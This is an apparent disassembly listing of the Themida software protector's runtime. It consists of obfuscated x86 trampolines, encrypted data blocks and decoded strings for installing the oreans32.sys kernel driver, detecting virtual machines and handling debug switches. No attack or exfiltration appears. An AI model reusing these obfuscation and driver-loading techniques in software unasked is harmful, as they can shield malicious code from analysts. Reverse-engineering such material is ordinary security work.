; =============== S U B	R O U T	I N E =======================================



sub_574043	proc near		; CODE XREF: Themida_:0057403Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_574043	endp

; ---------------------------------------------------------------------------
		db 0A7h
		dd 66622C37h, 36AD78Bh,	50F28166h, 4E8BAh, 0
		dd 0D8BAC000h
		db 40h,	67h, 1Bh
; ---------------------------------------------------------------------------


loc_57406F:				; CODE XREF: Themida_:0057400Fj
		push	eax
		pusha
		jz	loc_57407A
		mov	cx, bx


loc_57407A:				; CODE XREF: Themida_:00574071j
		mov	dx, 94Fh
		popa
		mov	eax, [esp+4]
		pusha
		mov	di, cx
		mov	bx, 0BB29h
		popa
		mov	eax, [eax]
		mov	edi, eax
		mov	[esp+4], eax


loc_574094:				; CODE XREF: Themida_:00574015j
		mov	dx, si
		pop	eax
		push	0
		push	edx
		call	sub_5740A3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5740A3	proc near		; CODE XREF: Themida_:0057409Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5740A3	endp

; ---------------------------------------------------------------------------
		db 7Fh
		dd 0B2252A85h, 9A837A10h, 958D8B50h, 5E06A802h,	0A4369D8Dh
		dd 6A06AAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0DBA241C3h, 34B88320h, 37D280AEh,	0EA9B950h
		dd 1C890B28h, 0B70F5024h, 0F605AD7h, 68Ah, 11B52900h, 306A82Eh
		dd 0A80D91B5h, 0D0FF6106h, 0CE9h, 0D8D23100h, 6322CED9h
		dd 0B8924E36h, 850F400Dh, 309h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 64C35141h, 0E98D8B83h, 5806A832h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B4C35747h
		dd 7C8A89EDh, 10819424h, 90D68B66h, 6870F60h, 50000000h
		dd 5A310F52h, 61CE8A58h, 0CE950h, 35580000h, 7E3B7BFEh
		dd 5D2C2853h, 6A903DFAh, 11E900h, 41040000h, 0FF09CA7Fh
		dd 381AF093h, 2E225B93h, 68A2E0FAh, 5480EA32h, 5E9h, 74445800h
		dd 348170FDh, 80EAB224h, 0E99D8954h, 6A06A821h,	56006A03h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0A80D5319h, 5890F68h, 0B9000000h, 708F19CEh,	8D8B006Ah
		dd 6A806E5h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5FEB06C3h, 618D8B03h, 6806A827h
		dd 59590317h, 0CE780EBAh, 2404812Fh, 66A6FCE9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 12C35040h, 8589FD17h
		dd 6A81A8Dh, 0A43F9D8Dh, 0BA6006AAh, 7CC83985h,	118B0Fh
		dd 0BE80000h, 2C000000h, 72555913h, 5F605659h, 6159656Eh
		dd 50EC8A93h, 0D98B6660h, 2830Fh, 61600000h, 0CE99361h
		dd 6A000000h, 9691946h,	0C9D288DCh, 0FFD69A19h,	15810FD0h
		dd 0E8000000h, 0Ch, 9945070Bh, 0E24EC6D8h, 1E0A90D9h, 5EF9B70Fh
		dd 6A850F40h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 66B8C355h, 58D9E0BEh
		dd 0CE816660h, 1FB531ACh, 0B7605061h, 4896121h,	0D5B58924h
		dd 6A06A806h, 0ADB58900h, 0B606A80Eh, 2CA268B8h, 0DE8E781h
		dd 0E0000000h, 66A36B90h, 3F8653FCh, 0EE9E0B00h, 7E952h
		dd 6B560000h, 1F769AB9h, 815A5A4Ch, 0D3DE2404h,	0B531187Eh
		dd 6A80525h, 0F28B036Ah, 20B58589h, 6A06A8h, 6A95DE80h
		dd 0EE903h, 66EC0000h, 999A8A77h, 1AAF7307h, 8A19D9DDh
		dd 4E8h, 0
		dd 525050C0h, 310FCF8Bh, 0D41CBA66h, 448B585Ah,	8B660424h
		dd 0E9008BFEh, 0Eh, 71207969h, 96E8136Dh, 81FDF7C8h, 448997DFh
		dd 8B660424h, 8D2958CBh, 6A82761h, 0A44A9D8Dh, 820F06AAh
		dd 8, 19BD8956h, 5F06A82Ah, 0F659589h, 669306A8h, 8B50FA8Bh
		dd 8D8993D7h, 6A8219Dh,	68C0Fh,	0BD290000h, 6A832C1h, 0F40D0FFh
		dd 5485h, 0E9853100h, 5806A81Bh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 90C35545h, 0BFCC8477h, 0CFD53D44h
		dd 118E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0A78F6AD6h, 50D1B7DBh, 66D88B6Ah
		dd 0B726E981h, 0F8BF664Bh, 0EB8A58F6h, 15D585C6h, 6A4306A8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 8FEDC356h, 0E6816660h, 0B468F11Ch, 8BF9B84Fh
		dd 243481D6h, 39CE0513h, 0C1958B57h, 5E06A80Ah,	31F9B5FFh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F1EC42C3h, 874D173h, 85BD298Bh, 0F06A82Fh
		dd 86h,	0B1BD8900h, 8D06A829h, 0A83AC385h, 5D8D8906h, 0FF06A80Bh
		dd 0F18D09D0h, 5006A81Bh, 0AC8734B9h, 241C8901h, 28F0Fh
		dd 0CF8B0000h, 9E8h, 2CDE4000h,	9586993Bh, 0BE96031h, 0E1000000h
		dd 107870Fh, 3299BF77h,	0FF5ED64Eh, 209D8DD0h, 8B06A871h
		dd 0A82F4195h, 0C9816606h, 1B86E01h, 23000000h,	0A820018Dh
		dd 89E3FF06h, 0A825ADBDh, 6AC18B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3EDFC351h
		dd 8B7AED37h, 0A821098Dh, 8BC08B06h, 0A80F0595h, 0D9BD8306h
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 40Fh, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 40Fh,	0FD58589h, 9D8D06A8h, 6AA9EB4h
		dd 585BD3FFh, 1E398589h, 8A0F06A8h, 4, 21DDBA66h, 12E8h
		dd 0F6DDF900h, 0BB7801CEh, 891BD70Ah, 38BA3E98h, 8B30C7B3h
		dd 0A80BFD8Dh, 0C08B5E06h, 11E8h, 76AB4600h, 4DD9A98Eh
		dd 0A5A5F55Fh, 2A595E95h, 0C4BFCE81h, 5952F8A6h, 18870Fh
		dd 13E90000h, 31000000h, 39639BABh, 3DF8DB1h, 381FC238h
		dd 0EEB5465Eh, 0C1818091h, 6C8Bh, 68C0Fh, 0BD010000h, 6A81D49h
		dd 68h,	8EC38100h, 5A1102A9h, 0E85BD8Bh, 48B06A8h, 498D8911h
		dd 8106A815h, 1CB3ADE8h, 0B9B52918h, 8106A819h,	0A66242E8h
		dd 899D2976h, 8106A815h, 544BF4C0h, 11048955h, 2B219D8Bh
		dd 0EA8306A8h, 1CFA8104h, 0FFFFF94h, 0FFFFC185h, 8B6660FFh
		dd 9D8960F2h, 6A80525h,	303DB589h, 616106A8h, 99E9h, 75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 6AAACFCh, 0A840F00h,	0C7000000h, 0A82DE985h,	106h, 0D585C600h
		dd 4706A815h, 0B050B568h, 24348189h, 19DD3C38h,	31F9B5FFh
		dd 858D06A8h, 6A83AC3h,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 7CB58D00h, 0E806AAACh, 225h, 0AD11BD03h
		dd 0BD8306AAh, 6AAAD11h, 0B840F00h, 0C7000000h,	0A81ED985h
		dd 106h, 0B58DC300h, 6AAAC87h, 1FCE8h, 11BD0300h, 8306AAADh
		dd 0AAAD11BDh, 840F0006h, 0Bh, 2DE985C7h, 106A8h, 8DC30000h
		dd 0AAAD00B5h, 1D3E806h, 0BD030000h, 6AAAD11h, 0AD11BD83h
		dd 0F0006AAh, 0B84h, 2185C700h,	106A815h, 0C3000000h, 0AC91B58Dh
		dd 0AAE806AAh, 3000001h, 0AAAD11BDh, 11BD8306h,	6AAADh
		dd 0B840Fh, 85C70000h, 6A82DE9h, 1, 9BB58DC3h, 0E806AAACh
		dd 181h, 0AD11BD03h, 0BD8306AAh, 6AAAD11h, 15840F00h, 0C7000000h
		dd 0A82DE985h, 106h, 0D985C700h, 106A81Eh, 0C3000000h
		dd 0ACA9B58Dh, 4EE806AAh, 3000001h, 0AAAD11BDh,	11BD8306h
		dd 6AAADh, 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACB3B58Dh
		dd 26E806AAh, 3000001h,	0AAAD11BDh, 11BD8306h, 6AAADh
		dd 0A840Fh, 85C70000h, 6A81F91h, 1, 0ACBEB58Dh,	0FEE806AAh
		dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
		dd 6A807C5h, 1,	0ACC4B58Dh, 0D6E806AAh,	3000000h, 0AAAD11BDh
		dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A83105h, 1
		dd 0ACCAB58Dh, 0AEE806AAh, 3000000h, 0AAAD11BDh, 11BD8306h
		dd 6AAADh, 0A840Fh, 85C70000h, 6A829DDh, 1, 0ACD8B58Dh
		dd 86E806AAh, 3000000h,	0AAAD11BDh, 11BD8306h, 6AAADh
		dd 0A840Fh, 85C70000h, 6A8170Dh, 1, 0ACE5B58Dh,	5EE806AAh
		dd 3000000h, 0AAAD11BDh, 11BD8306h, 6AAADh, 0A840Fh, 85C70000h
		dd 6A82C85h, 1,	0ACF0B58Dh, 36E806AAh, 3000000h, 0AAAD11BDh
		dd 11BD8306h, 6AAADh, 0A840Fh, 85C70000h, 6A808F9h, 1
		dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
		dd 1B960C3h, 8B000000h,	1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
		dd 3E804746h, 8840F00h,	0B000000h, 0D3850FC9h, 0BFFFFFFh
		dd 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h, 0A85h
		dd 1B900h, 5E90000h, 0B9000000h, 0
; ---------------------------------------------------------------------------
		or	ecx, ecx
		jz	loc_574A89
		sub	esi, ebx
		mov	[ebp+6AAAD11h],	esi
		jmp	loc_574A93
; ---------------------------------------------------------------------------


loc_574A89:				; CODE XREF: Themida_:00574A76j
		mov	dword ptr [ebp+6AAAD11h], 0


loc_574A93:				; CODE XREF: Themida_:00574A84j
		popa
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		or	eax, eax
		jz	loc_574AAC
		mov	dword ptr [ebp+6A81F91h], 0


loc_574AAC:				; CODE XREF: Themida_:00574A9Cj
		mov	ecx, eax
		jmp	loc_574CC1
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		dd 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_574CC1:				; CODE XREF: Themida_:00574AAEj
		jmp	loc_574DB5
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+6A815D5h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		push	104h
		lea	ebx, [ebp+6A81C35h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+6AAB29Eh]
		mov	edi, esi
		xor	al, al


loc_574CF9:				; CODE XREF: Themida_:00574CFAj
		scasb
		jnz	loc_574CF9
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+6A815D5h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		lea	esi, [ebp+6A81C35h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+6A815D5h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		lea	edi, [ebp+6A8099Dh]
		lea	ecx, [ebp+6AAB3C4h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_574D97
		lea	esi, [ebp+6AAB0A6h]
		lea	eax, [ebp+6AA9B7Ch]
		call	eax
		lea	ecx, [ebp+6A87120h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_574D97:				; CODE XREF: Themida_:00574D76j
		mov	byte ptr [ebp+6A815D5h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_574DB5:				; CODE XREF: Themida_:loc_574CC1j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_574DCC
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_574DCC:				; CODE XREF: Themida_:00574DC5j
		jmp	loc_5785A1
; ---------------------------------------------------------------------------
		db 4Dh,	5Ah, 90h
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h
		db 0
; ---------------------------------------------------------------------------


loc_5785A1:				; CODE XREF: Themida_:loc_574DCCj
		jmp	loc_57965D
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
		db 0
; ---------------------------------------------------------------------------


loc_57965D:				; CODE XREF: Themida_:loc_5785A1j
		mov	eax, esp
		cmc
		mov	[ebp+6A82589h],	eax
		push	0
		push	ecx
		call	sub_579671
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579671	proc near		; CODE XREF: Themida_:00579669p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_579671	endp

; ---------------------------------------------------------------------------
		db 4Fh,	34h, 0E7h
		dd 8A0FC54Fh, 6, 1741B589h, 0C08B06A8h,	0BD896060h, 6A8066Dh
		dd 0D3D9589h, 606106A8h, 1C098D89h, 8B6606A8h, 666161D1h
		dd 0BD83CB8Bh, 6A81ED9h, 83097500h, 0A82DE9BDh,	19740006h
		dd 0C08B5350h, 43DB8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh
		dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 43DB8h, 0B5858900h
		dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 49958958h,	8B06A80Fh
		dd 0A82E2D95h, 0E8C08B06h, 5, 0D21441EBh, 81BD8BFDh, 5A06A831h
		dd 10E9C08Bh, 0D8000000h, 93FC2648h, 0BB9D773Fh, 0EC5763F9h
		dd 8343DDB4h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 6AAA04Eh, 585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+6AA9EFFh]
		call	ebx
		pop	ebx
		pop	eax
		push	0
		push	ebp
		call	sub_57977D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57977D	proc near		; CODE XREF: Themida_:00579775p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_57977D	endp

; ---------------------------------------------------------------------------
		db 5Eh,	23h, 35h
; ---------------------------------------------------------------------------
		push	edi
		jz	loc_57979D
		xor	[ebp+6A81D45h],	esi


loc_57979D:				; CODE XREF: Themida_:00579791j
		jo	loc_5797A9
		adc	ecx, 0C41EAE6h


loc_5797A9:				; CODE XREF: Themida_:loc_57979Dj
		mov	eax, eax
		and	di, 695Fh
		mov	eax, eax
		jmp	loc_5797BD
; ---------------------------------------------------------------------------
		mov	ebx, 3C8876EDh
		pop	ebx


loc_5797BD:				; CODE XREF: Themida_:005797B2j
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_5797CF
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_5797E2


loc_5797CF:				; CODE XREF: Themida_:005797C4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+6AA9F80h]
		call	ebx
		pop	ebx
		pop	eax


loc_5797E2:				; CODE XREF: Themida_:005797CDj
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_5797FC
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+6AA9ECDh]
		call	ebx
		pop	ebx
		pop	eax


loc_5797FC:				; CODE XREF: Themida_:005797E9j
		js	loc_579816
		jmp	loc_579816
; ---------------------------------------------------------------------------
		db 0DEh
		dd 0F61F6016h, 51F82598h, 774AD3C1h
		db 0BEh, 6Eh
; ---------------------------------------------------------------------------


loc_579816:				; CODE XREF: Themida_:loc_5797FCj
					; Themida_:00579802j
		mov	edi, edx
		mov	eax, eax
		mov	edx, [ebp+6A80565h]
		mov	eax, eax
		mov	di, dx
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_579837
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57984A


loc_579837:				; CODE XREF: Themida_:0057982Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+6AA9FE7h]
		call	ebx
		pop	ebx
		pop	eax


loc_57984A:				; CODE XREF: Themida_:00579835j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_579864
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+6AA9EE6h]
		call	ebx
		pop	ebx
		pop	eax


loc_579864:				; CODE XREF: Themida_:00579851j
		clc
		add	edx, [ebp+6A800E1h]
		mov	eax, eax
		cmc
		mov	[ebp+6A80C39h],	ecx
		mov	eax, eax
		push	0
		push	ecx
		call	sub_579881
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579881	proc near		; CODE XREF: Themida_:00579879p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_579881	endp

; ---------------------------------------------------------------------------
		db 33h,	0CAh, 0E5h
		dd 870922ECh, 8E951h, 60C70000h, 3DA751E6h, 83FC4306h
		dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 6AA9F19h,	585BD3FFh, 0D35860BAh
		dd 2BC08B6Dh, 0A8210995h, 0E8C08B06h, 11h, 0E7A7ABDDh
		dd 0BB54DF48h, 8211E256h, 42089557h, 95895601h,	6A80955h
		dd 0BD835F59h, 6A81ED9h, 83097500h, 0A82DE9BDh,	19740006h
		dd 0C08B5350h, 7D0B8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh
		dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 7D0B8h, 0B5858900h
		dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 10E858h, 323D0000h
		dd 6455036Ah, 1BBF6927h, 0F6FACCD1h, 9D89464Dh,	6A80D51h
		dd 0D78B6659h, 0BD8BC08Bh, 6A80CF1h, 15D585C6h,	0F5306A8h
		dd 9068D1B7h, 6A99395Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0B4ACC355h,	0F96191Dh
		dd 660A10E2h, 0FFB04BB9h, 0A831F9B5h, 0CA816606h, 858D1992h
		dd 6A83AC3h, 31918D8Bh,	0D0FF06A8h, 7840Fh, 66600000h
		dd 1A29C281h, 0DD858961h, 8006A820h, 85C666F6h,	6A815D5h
		dd 9830F57h, 0F000000h,	38Fh, 0D3BF0F00h, 4520668h, 44BA6690h
		dd 0F9B5FF3Ah, 8906A831h, 0A81A31BDh, 0C3858D06h, 6006A83Ah
		dd 0DFE88166h, 699D8BEEh, 6106A809h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AF6654C3h
		dd 718D0160h, 8B06A80Fh, 0A80D45B5h, 85896106h,	6A82A7Dh
